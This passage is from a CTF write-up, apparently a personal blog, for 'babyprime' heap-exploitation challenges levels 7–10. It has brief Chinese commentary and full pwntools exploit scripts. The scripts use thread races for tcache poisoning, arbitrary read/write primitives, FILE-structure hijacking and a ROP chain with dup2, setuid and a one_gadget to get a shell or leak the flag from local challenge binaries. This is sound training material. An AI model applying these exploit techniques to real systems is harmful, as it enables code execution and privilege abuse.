    thread[0].success(f"heap: {hex(heap)}")
138
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
139

140
    raw_input("DEBUG")
141
    malloc(0, 0)
142
    malloc(0, 1)
143
    free(0, 1)
144
    free(0, 0)
145

146
    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
147
    thread[0].recvuntil(b"MESSAGE: ")
148
    libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x219C80
149
    heap_ptr = libc.address + 0x219CE0
150

151
    thread[0].success(f"libc: {hex(libc.address)}")
152
    thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
153

154
    raw_input("DEBUG")
155
    malloc(0, 2)
156
    malloc(0, 4)
157
    free(0, 4)
158
    free(0, 2)
159

160
    arbitrary_read(2, 4, mangle(pos, heap_ptr))
161
    thread[0].recvuntil(b"MESSAGE: ")
162
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
163
    secret = heap - 0x2B0
164

165
    thread[0].success(f"heap: {hex(heap)}")
166
    thread[0].success(f"secret: {hex(secret)}")
167

168
    raw_input("DEBUG")
169
    malloc(0, 3)
170
    malloc(0, 5)
171
    free(0, 5)
172
    free(0, 3)
173

174
    arbitrary_read(3, 5, mangle(pos, secret))
175
    thread[0].recvuntil(b"MESSAGE: ")
176
    secret = thread[0].recvline().strip()
177

178
    thread[0].success(f"secret: {secret}")
179

180
    send_flag(0, secret)
181
    quit(0)
182
    quit(1)
183

184
    thread[0].interactive()
185

186

187
if __name__ == "__main__":
188
    main()

Level 7#

Information#

Category: Pwn

Description#

Create and use arbitrary read/write primitives to obtain the flag.

Write-up#

一开始被这个 flag_seed 函数迷惑了：

1
unsigned __int64 flag_seed()
2
{
3
  unsigned int seed; // [rsp+4h] [rbp-9Ch]
4
  unsigned int i; // [rsp+8h] [rbp-98h]
5
  int fd; // [rsp+Ch] [rbp-94h]
6
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
7
  unsigned __int64 v5; // [rsp+98h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  memset(buf, 0, 128);
11
  fd = open("/flag", 0);
12
  if ( fd < 0 )
13
    __assert_fail("fd >= 0", "/mnt/pwnshop/source.c", 0x2Bu, "flag_seed");
14
  if ( read(fd, buf, 0x80u) <= 0 )
15
    __assert_fail("read(fd, flag, 128) > 0", "/mnt/pwnshop/source.c", 0x2Cu, "flag_seed");
16
  seed = 0;
17
  for ( i = 0; i <= 0x1F; ++i )
18
    seed ^= *((_DWORD *)buf + (int)i);
19
  srand(seed);
20
  memset(buf, 0, 0x80u);
21
  return v5 - __readfsqword(0x28u);
22
}

注意到 open flag 之后并没有 close 那个 fd，并且下面那个 memset 清空了内存中的 flag，导致我的第一反应是想办法把 flag 读回内存……但又对 open 这种直接返回 file descriptor 的函数感到迷惑，不晓得如何将 flag 读出来……

后来问 AI，了解了 _IO_underflow 好像可以读文件，然后去改线程的 stdin，然并软。

我居然在最后浪费了差不多一天后才想到，我还可以尝试 getshell 啊，草！最后发现，one gadget 是正确执行了，但是没回显啊……再问 AI，得知 execve 会杀掉原进程的所有其它线程，当前执行 execve 的这个线程变成新进程的 main thread，并且只会继承 process-level 的资源，比如 fd table、cwd、environ、credentials 等，不会继承任何 thread-level 的东西。哦～这不就是 CSAPP fork 那课讲的吗，~~不好意思，记性不好（bushi~~

所以解决方法也很简单，直接 dup2 重定向一下 stdin 和 stdout 就好了。由于我们要 shell，所以 stderr 没啥用，况且子进程本来也没设置 stderr，直接忽视。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    FileStructure,
8
    constants,
9
    context,
10
    flat,
11
    os,
12
    process,
13
    raw_input,
14
    remote,
15
)
16

17
parser = argparse.ArgumentParser()
18
parser.add_argument("-L", action="store_true")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
20
args = parser.parse_args()
21

22

23
FILE = "/challenge/babyprime_level7.0"
24
HOST, PORT = "localhost", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def printf(tid, idx):
33
    thread[tid].sendline(f"printf {idx}".encode())
34

35

36
def malloc(tid, idx):
37
    thread[tid].sendline(f"malloc {idx}".encode())
38

39

40
def scanf(tid, idx, content):
41
    thread[tid].sendline(f"scanf {idx} {content}".encode())
42

43

44
def scanf_raw(tid, idx, content):
45
    thread[tid].sendline(f"scanf {idx} ".encode() + content)
46

47

48
def free(tid, idx):
49
    thread[tid].sendline(f"free {idx}".encode())
50

51

52
def quit(tid):
53
    thread[tid].sendline(b"quit")
54

55

56
def arbitrary_read(poison_idx, result_idx, addr):
57
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
58

59
    packed_addr = flat(addr)
60
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
61
        raise ValueError(
62
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
63
        )
64

65
    while True:
66
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
67
        if os.fork() == 0:
68
            thread[1].send(
69
                (f"scanf {poison_idx}".encode() + packed_addr + b"\n") * 10000
70
            )
71
            os.kill(os.getpid(), 9)
72
        os.wait()
73

74
        malloc(0, poison_idx)
75
        printf(0, poison_idx)
76
        thread[0].recvuntil(b"MESSAGE: ")
77
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
78

79
        if flat(poisoned) == packed_addr:
80
            break
81

82
    raw_input("DEBUG")
83
    malloc(0, result_idx)
84
    printf(0, result_idx)
85

86

87
def arbitrary_write(poison_idx, result_idx, addr, content):
88
    arbitrary_read(poison_idx, result_idx, addr)
89
    raw_input("RAW SCANF")
90
    scanf_raw(0, result_idx, content)
91

92

93
def mangle(pos, ptr, shifted=1):
94
    if shifted:
95
        return pos ^ ptr
96
    return (pos >> 12) ^ ptr
97

98

99
def demangle(pos, ptr, shifted=1):
100
    if shifted:
101
        return mangle(pos, ptr)
102
    return mangle(pos, ptr, 0)
103

104

105
def launch():
106
    global target, thread
107

108
    if args.L and args.threads is not None:
109
        raise ValueError("Options -L and -T cannot be used together.")
110

111
    if args.L:
112
        target = process(FILE)
113
    elif args.threads:
114
        if args.threads <= 0:
115
            raise ValueError("Thread count must be positive.")
116
        process(FILE)
117

118
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
119
    else:
120
        target = remote(HOST, PORT, ssl=True)
121

122

123
def main():
124
    launch()
125

126
    malloc(0, 0)
127
    malloc(0, 1)
128
    free(0, 1)
129
    free(0, 0)
130
    malloc(0, 0)
131
    malloc(0, 1)
132

133
    printf(0, 0)
134
    thread[0].recvuntil(b"MESSAGE: ")
135
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
136

137
    printf(0, 1)
138
    thread[0].recvuntil(b"MESSAGE: ")
139
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
140
    heap = demangle(heap, pos)
141
    main_arena_ptr = heap - 0xAA1
142
    thread_stdout = heap - 0x5F1
143

144
    thread[0].success(f"pos: {hex(pos)}")
145
    thread[0].success(f"heap: {hex(heap)}")
146
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
147
    thread[0].success(f"thread_stdout: {hex(thread_stdout)}")
148

149
    raw_input("DEBUG")
150
    malloc(0, 0)
151
    malloc(0, 1)
152
    free(0, 1)
153
    free(0, 0)
154

155
    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
156
    thread[0].recvuntil(b"MESSAGE: ")
157
    libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x219C80
158
    heap_ptr = libc.address + 0x219CE0
159
    __GI__IO_wfile_overflow = libc.address + 0x215FE0
160

161
    thread[0].success(f"libc: {hex(libc.address)}")
162
    thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
163
    thread[0].success(f"__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}")
164

165
    raw_input("DEBUG")
166
    malloc(0, 2)
167
    malloc(0, 4)
168
    free(0, 4)
169
    free(0, 2)
170

171
    arbitrary_read(2, 4, mangle(pos, heap_ptr))
172
    thread[0].recvuntil(b"MESSAGE: ")
173
    heap = int.from_bytes(thread[0].recvline().strip(), "little") - 0x530
174
    empty_buffer = heap + 0x1000
175

176
    thread[0].success(f"heap: {hex(heap)}")
177
    thread[0].success(f"empty_buffer: {hex(empty_buffer)}")
178

179
    raw_input("DEBUG")
180
    malloc(0, 3)
181
    malloc(0, 5)
182
    free(0, 5)
183
    free(0, 3)
184

185
    #   0x7fbcf9683b94 <_IO_wdoallocbuf+36>    mov    rax, qword ptr [rax + 0xe0]
186
    # ► 0x7fbcf9683b9b <_IO_wdoallocbuf+43>    call   qword ptr [rax + 0x68]
187

188
    leave_ret = libc.address + 0x4DA83
189
    pop_rdi_ret = libc.address + 0x2A3E5
190
    pop_rsi_ret = libc.address + 0x2BE51
191
    pop_rbp_ret = libc.address + 0x2A2E0
192
    pop_rax_ret = libc.address + 0x45EB0
193
    one_gadget = libc.address + 0xEBD43
194
    dup2 = libc.sym["dup2"]
195
    syscall_ret = libc.address + 0x91316
196

197
    payload = flat(
198
        {
199
            0x68: leave_ret,
200
            0xE0: empty_buffer,
201
            0xE8: pop_rdi_ret,
202
            0xF0: 5,
203
            0xF8: pop_rsi_ret,
204
            0x100: 0,
205
            0x108: dup2,
206
            0x110: pop_rsi_ret,
207
            0x118: 1,
208
            0x120: dup2,
209
            0x128: pop_rdi_ret,
210
            0x130: 0,
211
            0x138: pop_rax_ret,
212
            0x140: constants.SYS_setuid,
213
            0x148: syscall_ret,
214
            0x150: one_gadget,
215
        },
216
        filler=b"\x00",
217
    )
218
    arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)
219

220
    raw_input("DEBUG")
221
    malloc(0, 6)
222
    malloc(0, 7)
223
    free(0, 7)
224
    free(0, 6)
225

226
    fp = FileStructure()
227
    fp._lock = heap + 0x2000
228
    fp._wide_data = empty_buffer
229
    fp.vtable = __GI__IO_wfile_overflow
230

231
    fp._IO_read_ptr = pop_rbp_ret
232
    fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
233
    fp._IO_read_base = leave_ret
234

235
    arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))
236

237
    # thread[0].clean()
238
    printf(0, 0)
239

240
    thread[0].interactive()
241

242

243
if __name__ == "__main__":
244
    main()

Level 8#

Information#

Category: Pwn

Description#

Create and use arbitrary read/write primitives to obtain the flag.

Write-up#

笑死了，这回我学聪明了，鉴于这题的 description 和上题一样，而上题我写的 exp 又是拿 shell 的通解，且题目使用的 libc 版本都一样，我直接不看题，用上题的 exp 去跑，然后……通了！LMAO

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    FileStructure,
8
    constants,
9
    context,
10
    flat,
11
    os,
12
    process,
13
    raw_input,
14
    remote,
15
)
16

17
parser = argparse.ArgumentParser()
18
parser.add_argument("-L", action="store_true")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
20
args = parser.parse_args()
21

22

23
FILE = "/challenge/babyprime_level8.0"
24
HOST, PORT = "localhost", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def printf(tid, idx):
33
    thread[tid].sendline(f"printf {idx}".encode())
34

35

36
def malloc(tid, idx):
37
    thread[tid].sendline(f"malloc {idx}".encode())
38

39

40
def scanf(tid, idx, content):
41
    thread[tid].sendline(f"scanf {idx} {content}".encode())
42

43

44
def scanf_raw(tid, idx, content):
45
    thread[tid].sendline(f"scanf {idx} ".encode() + content)
46

47

48
def free(tid, idx):
49
    thread[tid].sendline(f"free {idx}".encode())
50

51

52
def quit(tid):
53
    thread[tid].sendline(b"quit")
54

55

56
def arbitrary_read(poison_idx, result_idx, addr):
57
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
58

59
    packed_addr = flat(addr)
60
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
61
        raise ValueError(
62
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
63
        )
64

65
    while True:
66
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
67
        if os.fork() == 0:
68
            thread[1].send(
69
                (f"scanf {poison_idx}".encode() + packed_addr + b"\n") * 10000
70
            )
71
            os.kill(os.getpid(), 9)
72
        os.wait()
73

74
        malloc(0, poison_idx)
75
        printf(0, poison_idx)
76
        thread[0].recvuntil(b"MESSAGE: ")
77
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
78

79
        if flat(poisoned) == packed_addr:
80
            break
81

82
    raw_input("DEBUG")
83
    malloc(0, result_idx)
84
    printf(0, result_idx)
85

86

87
def arbitrary_write(poison_idx, result_idx, addr, content):
88
    arbitrary_read(poison_idx, result_idx, addr)
89
    raw_input("RAW SCANF")
90
    scanf_raw(0, result_idx, content)
91

92

93
def mangle(pos, ptr, shifted=1):
94
    if shifted:
95
        return pos ^ ptr
96
    return (pos >> 12) ^ ptr
97

98

99
def demangle(pos, ptr, shifted=1):
100
    if shifted:
101
        return mangle(pos, ptr)
102
    return mangle(pos, ptr, 0)
103

104

105
def launch():
106
    global target, thread
107

108
    if args.L and args.threads is not None:
109
        raise ValueError("Options -L and -T cannot be used together.")
110

111
    if args.L:
112
        target = process(FILE)
113
    elif args.threads:
114
        if args.threads <= 0:
115
            raise ValueError("Thread count must be positive.")
116
        process(FILE)
117

118
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
119
    else:
120
        target = remote(HOST, PORT, ssl=True)
121

122

123
def main():
124
    launch()
125

126
    malloc(0, 0)
127
    malloc(0, 1)
128
    free(0, 1)
129
    free(0, 0)
130
    malloc(0, 0)
131
    malloc(0, 1)
132

133
    printf(0, 0)
134
    thread[0].recvuntil(b"MESSAGE: ")
135
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
136

137
    printf(0, 1)
138
    thread[0].recvuntil(b"MESSAGE: ")
139
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
140
    heap = demangle(heap, pos)
141
    main_arena_ptr = heap - 0xAA1
142
    thread_stdout = heap - 0x5F1
143

144
    thread[0].success(f"pos: {hex(pos)}")
145
    thread[0].success(f"heap: {hex(heap)}")
146
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
147
    thread[0].success(f"thread_stdout: {hex(thread_stdout)}")
148

149
    raw_input("DEBUG")
150
    malloc(0, 0)
151
    malloc(0, 1)
152
    free(0, 1)
153
    free(0, 0)
154

155
    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
156
    thread[0].recvuntil(b"MESSAGE: ")
157
    libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x219C80
158
    heap_ptr = libc.address + 0x219CE0
159
    __GI__IO_wfile_overflow = libc.address + 0x215FE0
160

161
    thread[0].success(f"libc: {hex(libc.address)}")
162
    thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
163
    thread[0].success(f"__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}")
164

165
    raw_input("DEBUG")
166
    malloc(0, 2)
167
    malloc(0, 4)
168
    free(0, 4)
169
    free(0, 2)
170

171
    arbitrary_read(2, 4, mangle(pos, heap_ptr))
172
    thread[0].recvuntil(b"MESSAGE: ")
173
    heap = int.from_bytes(thread[0].recvline().strip(), "little") - 0x530
174
    empty_buffer = heap + 0x1000
175

176
    thread[0].success(f"heap: {hex(heap)}")
177
    thread[0].success(f"empty_buffer: {hex(empty_buffer)}")
178

179
    raw_input("DEBUG")
180
    malloc(0, 3)
181
    malloc(0, 5)
182
    free(0, 5)
183
    free(0, 3)
184

185
    #   0x7fbcf9683b94 <_IO_wdoallocbuf+36>    mov    rax, qword ptr [rax + 0xe0]
186
    # ► 0x7fbcf9683b9b <_IO_wdoallocbuf+43>    call   qword ptr [rax + 0x68]
187

188
    leave_ret = libc.address + 0x4DA83
189
    pop_rdi_ret = libc.address + 0x2A3E5
190
    pop_rsi_ret = libc.address + 0x2BE51
191
    pop_rbp_ret = libc.address + 0x2A2E0
192
    pop_rax_ret = libc.address + 0x45EB0
193
    one_gadget = libc.address + 0xEBD43
194
    dup2 = libc.sym["dup2"]
195
    syscall_ret = libc.address + 0x91316
196

197
    payload = flat(
198
        {
199
            0x68: leave_ret,
200
            0xE0: empty_buffer,
201
            0xE8: pop_rdi_ret,
202
            0xF0: 5,
203
            0xF8: pop_rsi_ret,
204
            0x100: 0,
205
            0x108: dup2,
206
            0x110: pop_rsi_ret,
207
            0x118: 1,
208
            0x120: dup2,
209
            0x128: pop_rdi_ret,
210
            0x130: 0,
211
            0x138: pop_rax_ret,
212
            0x140: constants.SYS_setuid,
213
            0x148: syscall_ret,
214
            0x150: one_gadget,
215
        },
216
        filler=b"\x00",
217
    )
218
    arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)
219

220
    raw_input("DEBUG")
221
    malloc(0, 6)
222
    malloc(0, 7)
223
    free(0, 7)
224
    free(0, 6)
225

226
    fp = FileStructure()
227
    fp._lock = heap + 0x2000
228
    fp._wide_data = empty_buffer
229
    fp.vtable = __GI__IO_wfile_overflow
230

231
    fp._IO_read_ptr = pop_rbp_ret
232
    fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
233
    fp._IO_read_base = leave_ret
234

235
    arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))
236

237
    # thread[0].clean()
238
    printf(0, 0)
239

240
    thread[0].interactive()
241

242

243
if __name__ == "__main__":
244
    main()

Level 9#

Information#

Category: Pwn

Description#

Create and use arbitrary read/write primitives with less control of the heap.

Write-up#

堆噪声是吧，看上去好像很可怕，也只是看上去罢了。实际上这干扰有和没有都没啥区别……至少在这题里是这样的。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level9.1"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def scanf_raw(tid, idx, content):
43
    thread[tid].sendline(f"scanf {idx} ".encode() + content)
44

45

46
def free(tid, idx):
47
    thread[tid].sendline(f"free {idx}".encode())
48

49

50
def send_flag(tid, flag):
51
    thread[tid].sendline(b"send_flag")
52
    thread[tid].sendlineafter(b"Secret: ", flag)
53

54

55
def quit(tid):
56
    thread[tid].sendline(b"quit")
57

58

59
def arbitrary_read(poison_idx, result_idx, addr):
60
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
61

62
    packed_addr = flat(addr)
63
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
64
        raise ValueError(
65
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
66
        )
67

68
    while True:
69
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
70
        if os.fork() == 0:
71
            thread[1].send(
72
                (f"scanf {poison_idx}".encode() + packed_addr + b"\n") * 10000
73
            )
74
            os.kill(os.getpid(), 9)
75
        os.wait()
76

77
        malloc(0, poison_idx)
78
        printf(0, poison_idx)
79
        thread[0].recvuntil(b"MESSAGE: ")
80
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
81

82
        if flat(poisoned) == packed_addr:
83
            break
84

85
    raw_input("DEBUG")
86
    malloc(0, result_idx)
87
    printf(0, result_idx)
88

89

90
def arbitrary_write(poison_idx, result_idx, addr, content):
91
    arbitrary_read(poison_idx, result_idx, addr)
92
    raw_input("RAW SCANF")
93
    scanf_raw(0, result_idx, content)
94

95

96
def mangle(pos, ptr, shifted=1):
97
    if shifted:
98
        return pos ^ ptr
99
    return (pos >> 12) ^ ptr
100

101

102
def demangle(pos, ptr, shifted=1):
103
    if shifted:
104
        return mangle(pos, ptr)
105
    return mangle(pos, ptr, 0)
106

107

108
def launch():
109
    global target, thread
110

111
    if args.L and args.threads is not None:
112
        raise ValueError("Options -L and -T cannot be used together.")
113

114
    if args.L:
115
        target = process(FILE)
116
    elif args.threads:
117
        if args.threads <= 0:
118
            raise ValueError("Thread count must be positive.")
119
        process(FILE)
120

121
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
122
    else:
123
        target = remote(HOST, PORT, ssl=True)
124

125

126
def main():
127
    launch()
128

129
    malloc(0, 0)
130
    printf(0, 0)
131

132
    thread[0].recvuntil(b"MESSAGE: ")
133
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
134
    flag = (pos << 12) + 0xBD0
135

136
    thread[0].success(f"pos: {hex(pos)}")
137
    thread[0].success(f"flag: {hex(flag)}")
138

139
    malloc(0, 0)
140
    malloc(0, 1)
141
    free(0, 1)
142
    free(0, 0)
143

144
    arbitrary_read(0, 1, mangle(pos, flag + 0x10))
145

146
    thread[0].recvuntil(b"MESSAGE: ")
147
    secret = thread[0].recvline()
148
    send_flag(0, secret)
149

150
    quit(0)
151
    quit(1)
152

153
    thread[0].interactive()
154

155

156
if __name__ == "__main__":
157
    main()

Level 10#

Information#

Category: Pwn

Description#

Create and use arbitrary read/write primitives with less control of the heap II.

Write-up#

~~吃屎吃的最难受的一集。~~

不想破伪随机数发生器，那就想办法确定你能确定的，想办法猜出你不能确定的（

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    FileStructure,
8
    context,
9
    flat,
10
    os,
11
    process,
12
    raw_input,
13
    remote,
14
    sys,
15
)
16

17
parser = argparse.ArgumentParser()
18
parser.add_argument("-L", action="store_true")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
20
args = parser.parse_args()
21

22

23
FILE = "/challenge/babyprime_level10.0"
24
HOST, PORT = "localhost", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def printf(tid, idx):
33
    thread[tid].sendline(f"printf {idx}".encode())
34

35

36
def malloc(tid, idx):
37
    thread[tid].sendline(f"malloc {idx}".encode())
38

39

40
def scanf(tid, idx, content):
41
    thread[tid].sendline(f"scanf {idx} {content}".encode())
42

43

44
def scanf_raw(tid, idx, content):
45
    thread[tid].sendline(f"scanf {idx} ".encode() + content)
46

47

48
def free(tid, idx):
49
    thread[tid].sendline(f"free {idx}".encode())
50

51

52
def quit(tid):
53
    thread[tid].sendline(b"quit")
54

55

56
def arbitrary_read(poison_idx, result_idx, addr):
57
    global rand_size
58

59
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
60

61
    packed_addr = flat(addr)
62
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
63
        raise ValueError(
64
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
65
        )
66

67
    while True:
68
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
69
        if os.fork() == 0:
70
            thread[1].send(
71
                (f"scanf {poison_idx}".encode() + packed_addr + b"\n") * 10000
72
            )
73
            os.kill(os.getpid(), 9)
74
        os.wait()
75

76
        malloc(0, poison_idx)
77
        printf(0, poison_idx)
78
        thread[0].recvuntil(b"MESSAGE: ")
79
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
80

81
        if flat(poisoned) == packed_addr:
82
            break
83

84
    # raw_input("DEBUG")
85
    malloc(0, result_idx)
86
    printf(0, result_idx)
87

88

89
def arbitrary_write(poison_idx, result_idx, addr, content):
90
    arbitrary_read(poison_idx, result_idx, addr)
91
    # raw_input("RAW SCANF")
92
    scanf_raw(0, result_idx, content)
93

94

95
def mangle(pos, ptr, shifted=1):
96
    if shifted:
97
        return pos ^ ptr
98
    return (pos >> 12) ^ ptr
99

100

101
def demangle(pos, ptr, shifted=1):
102
    if shifted:
103
        return mangle(pos, ptr)
104
    return mangle(pos, ptr, 0)
105

106

107
def launch():
108
    global target, thread
109

110
    if args.L and args.threads is not None:
111
        raise ValueError("Options -L and -T cannot be used together.")
112

113
    if args.L:
114
        target = process(FILE)
115
    elif args.threads:
116
        if args.threads <= 0:
117
            raise ValueError("Thread count must be positive.")
118
        process(FILE)
119

120
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
121
    else:
122
        target = remote(HOST, PORT, ssl=True)
123

124

125
def main():
126
    launch()
127

128
    thread[0].recvuntil(b"Your flag is: ")
129
    flag_p0 = thread[0].recvuntil(b"..!\n")[:-4]
130
    thread[0].success(f"flag_p0: {flag_p0}")
131

132
    malloc(0, 0)
133
    free(0, 0)
134
    malloc(0, 0)
135
    printf(0, 0)
136

137
    thread[0].recvuntil(b"MESSAGE: ")
138
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
139
    heap = pos << 12
140

141
    hexpos = hex(pos)[2:]
142
    if len(hexpos) != 9:
143
        thread[0].failure(f"invalid pos (need equal to 9 hex digits): {hex(pos)}")
144
        try:
145
            thread[0].close()
146
            thread[1].close()
147
        except:
148
            pass
149
        os.execv(sys.executable, [sys.executable] + sys.argv)
150

151
    thread_stdout = heap - 0x102B0
152
    secret = thread_stdout + 0x3C0
153

154
    thread[0].success(f"pos: {hex(pos)}")
155
    thread[0].success(f"stdout: {hex(thread_stdout)}")
156
    thread[0].success(f"secret: {hex(secret)}")
157

158
    expected_low = 0x0D50
159
    low_16 = thread_stdout & 0xFFFF
160

161
    if low_16 != expected_low:
162
        thread[0].failure(f"bad stdout low bits: {hex(low_16)} != {hex(expected_low)}")
163

164
        try:
165
            thread[0].close()
166
            thread[1].close()
167
        except:
168
            pass
169

170
        os.execv(sys.executable, [sys.executable] + sys.argv)
171

172
    # raw_input("DEBUG")
173
    malloc(0, 2)
174
    malloc(0, 4)
175
    free(0, 4)
176
    free(0, 2)
177

178
    fp = FileStructure()
179
    fp.write(secret, 0x100)
180
    fp.fileno = 5
181

182
    arbitrary_write(
183
        2,
184
        4,
185
        mangle((pos) - 0x3, thread_stdout),
186
        fp.struntil("_flags2"),
187
    )
188
    malloc(0, 10)
189

190
    thread[0].interactive()
191

192

193
if __name__ == "__main__":
194
    main()